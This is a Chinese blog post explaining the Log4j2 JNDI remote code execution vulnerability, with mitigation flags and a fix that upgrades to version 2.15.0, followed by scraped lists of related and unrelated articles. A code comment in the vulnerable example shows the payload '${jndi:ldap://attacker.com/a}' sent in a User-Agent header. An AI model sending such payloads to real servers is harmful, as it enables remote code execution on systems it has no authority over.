Log4j2突发重大漏洞
长话短说吧。
相信大家已经被 Log4j2 的重大漏洞刷屏了,估计有不少小伙伴此前为了修 bug 已经累趴下了。很不幸,我的小老弟小二的 Spring Boot 项目中恰好用的就是 Log4j2,版本特喵的还是 2.14.1,在这次漏洞波及的版本范围之内。
第一时间从网上得知这个漏洞的消息后,小二吓尿了。赶紧跑过来问老王怎么解决。
老王先是给小二提供了一些临时性的建议,比如说:
JVM 参数添加 -Dlog4j2.formatMsgNoLookups=true
log4j2.formatMsgNoLookups=True
FORMAT_MESSAGES_PATTERN_DISABLE_LOOKUPS 设置为true
此后,老王时刻关注着 Log4j2 的官网和 Spring Boot GitHub 仓库的最新消息。
Java 后端开发的小伙伴应该都知道,Log4j、SLF4J、Logback 这 3 个日志组件是一个爹——Ceki Gulcu,但 Log4j 2 却是例外,它是 Apache 基金会的产品。
所以这波超级高危漏洞的锅必须得由 Apache 来背。并且波及范围非常广,已知受影响的应用程序和组件有:
- Spring-boot-strater-log4j2
- Apache Solr
- Apache Flink
- Apache Druid
并且只要是在 Log4j 2.x <= 2.14.1 之间的版本,都将受到影响——注定被载入史册的一波 bug 啊。
目前,Log4j2 的官网已经发布了 Log4j2 2.15.0 正式版,来解决此次漏洞。
那随着 Log4j2 2.15.0 正式版的发布,Spring Boot 的 GitHub 仓库提的这些关于 Log4j2 的 issue 都已经处于关闭状态了。
看到这些消息后,老王紧张的情绪一下子就缓解了下来,就像吃了一颗定心丸,赶紧去通知小二不用再提心吊胆了,直接一行代码搞定。
<properties><log4j2.version>2.15.0</log4j2.version>
</properties>
详情可参照 Spring Boot 官方这篇博客:
https://spring.io/blog/2021/12/10/log4j2-vulnerability-and-spring-boot
Gradle 构建的项目也有解决方案。
问题是解决了,不过老王没闲着。他从 Log4j2 官网公布的最新消息中琢磨出,本次远程代码执行漏洞正是由于组件存在 Java JNDI 注入漏洞:当程序将用户输入的数据记录到日志时,攻击者通过构造特殊请求,来触发 Apache Log4j2 中的远程代码执行漏洞,从而利用此漏洞在目标服务器上执行任意代码。
那肯定会有小伙伴在好奇 JNDI 是什么东东?来看一下维基百科的解释。
Java命名和目录接口(Java Naming and Directory Interface,缩写JNDI),是Java的一个目录服务应用程序接口(API),它提供一个目录系统,并将服务名称与对象关联起来,从而使得开发人员在开发过程中可以使用名称来访问对象。
利用下面这段代码,攻击者可以通过JNDI来执行LDAP协议来注入一些非法的可执行代码。
public class VulnerableLog4jExampleHandler implements HttpHandler {static Logger log = Logger.getLogger(log4jExample.class.getName());/*** A simple HTTP endpoint that reads the request's User Agent and logs it back.** This is basically pseudo-code to explain the vulnerability, and not a full example.** @param he HTTP Request Object*/public void handle(HttpExchange he) throws IOException {String userAgent = he.getRequestHeader("user-agent");
// This line triggers the RCE by logging the attacker-controlled HTTP User Agent header.
// The attacker can set their User-Agent header to: ${jndi:ldap://attacker.com/a}log.info("Request User Agent:" + userAgent);String response = "<h1>Hello There, " + userAgent + "!</h1>";he.sendResponseHeaders(200, response.length());OutputStream os = he.getResponseBody();os.write(response.getBytes());os.close();}
}
具体的攻击手段可以参考这里:
https://github.com/apache/pulsar/issues/13232
下图是程序猿阿朗画的简单的攻击链路步骤图。
感兴趣的小伙伴可以在本地复现一下,但千万不要不当利用哦!
再次提醒大家一下,排查自己的项目是否引入了 Apache log4j-core Jar 包。
如果存在依赖引入,且在受影响版本范围内,请升级到 Apache Log4j2 2.15.0 版本,目前已经 release。
没有什么使我停留——除了目的,纵然岸旁有玫瑰、有绿荫、有宁静的港湾,我是不系之舟。
Log4j2突发重大漏洞相关推荐
- 我鮳,Log4j2突发重大漏洞,我们也中招了。。
长话短说吧. 相信大家已经被 Log4j2 的重大漏洞刷屏了,估计有不少小伙伴此前为了修 bug 已经累趴下了.很不幸,我的小老弟小二的 Spring Boot 项目中恰好用的就是 Log4j2,版本 ...
- Log4j2突发重大漏洞之解决方案
漏洞描述 Apache Log4j2是一款优秀的Java日志框架,与Logback平分秋色,大量主流的开源框架采用了Log4j2,像Apache Struts2.Apache Solr.Apache ...
- Spring Cloud Gateway 突发高危漏洞,下一代云原生网关恰逢其时?
Spring Cloud Gateway 突发高危漏洞 Log4j2 的漏洞刚告一段落,Spring 官方在 2022 年 3 月 1 日发布了 Spring Cloud Gateway 的两个 CV ...
- 【java】log4j2核弹级漏洞原理和分析
1.概述 转载:log4j2核弹级漏洞原理和分析 并且补充. 2.漏洞是怎么发现的? 3.漏洞问题重现 依赖如下 <dependencies><!-- https://mvnrepo ...
- Elasticsearch与最新的log4j2零日漏洞
今天真的是焦头烂额,新出来的这个log4j2零日漏洞看起来杀伤力极大,影响了Apache Struts2, Apache Solr, Apache Druid, Apache Flink等重量级的开源 ...
- Apache Log4j2 核弹级漏洞
近日,Apache Log4j2 的远程代码执行漏洞刷爆朋友圈,该漏洞一旦被攻击者利用会造成严重危害.而且此次漏洞影响巨大,很多网站如百度等都是此次 Log4j 远程代码执行漏洞的受害者,很多互联网企 ...
- log4j2的核弹漏洞是如何被发现的?
开篇 上一篇文章log4j2的codeql规则我看了codeql官方的规则,然后发现了一个2020年的规则,从而推出很可能是codeql挖到的(现在哪个大佬还一个个代码看idea挖洞啊,那都是廉价安服 ...
- log4j2核弹级漏洞靶场复现(反弹shell)
环境搭建: 本次漏洞复现采用vulfocus的log4j2靶场docker 使用Kali系统进行复现实验 搭建docker拉取漏洞镜像可参考以下链接: https://blog.csdn.net/we ...
- Log4j2核弹级漏洞线上修复方案!
一.漏洞描述2月9日晚,Apache Log4j2反序列化远程代码执行漏洞细节已被公开,Apache Log4j-2中存在JNDI注入漏洞,当程序将用户输入的数据进行日志记录时,即可触发此漏洞,成功利 ...
最新文章
- python怎么导入同一包的模块
- 五分钟学会centos配置gitlab
- app 名字 android,SiRi App For Android名字特殊符号_九游手机游戏
- android 滚动动画效果代码,Android Scroll滑动效果实例
- SVN中tag branch trunk用法详解
- input type='file' 上传文件时显示文件名及上传进度
- oracle clob 写入mongo,【Oracle】Varchar2/Blob/Clob用法详解
- SQL服务器名称的更改
- ZTree async中文乱码,ZTree reAsyncChildNodes中文乱码,zTree中文乱码
- linux 文件夹 775,Linux chmod目录权限命令图文详解
- SaaS服务和个性化需求,就不能鱼和熊掌兼得吗?
- CentOS在VMware上的安装和配置以及Xshell和Xftp的连接
- Linux 系统设置图形界面启动和黑窗口启动
- linux 下面dev文件,Linux下目录的含义,例如lib中放置了什么文件,dev是什么
- papervision3d 开发经典例子
- 中国一共有多少神仙!今天让大家开开眼!
- 为什么PPIO要设计支付代理节点?
- spring学期总结
- Unity获取安卓的MAC地址问题
- 小方块上升组成背景特效 html+css+js
热门文章
- [转载] 【零基础学爬虫】python中的yield详解
- 移除元素所有事件监听_DOM 事件模型或 DOM 事件机制
- php 查看扩展 代码,[扩展推荐] 使用 PHP Insights 在终端查看 PHP 项目代码质量
- ios上传文件云服务器上,ios文件上传服务器
- android9有深色模式吗,深色模式还是黑色模式?微信把所有人都搞懵了
- tgc 什么意思 tgt_TGT的完整形式是什么?
- Java字符串indexOf(int ch,int fromIndex)方法,带示例
- Java Thread类的静态void sleep(long time_in_ms)方法,带示例
- 教你写Bug,常见的 OOM 异常分析
- IDEA 终于支持中文版和 JDK 直接下载了(太方便了)附新版介绍视频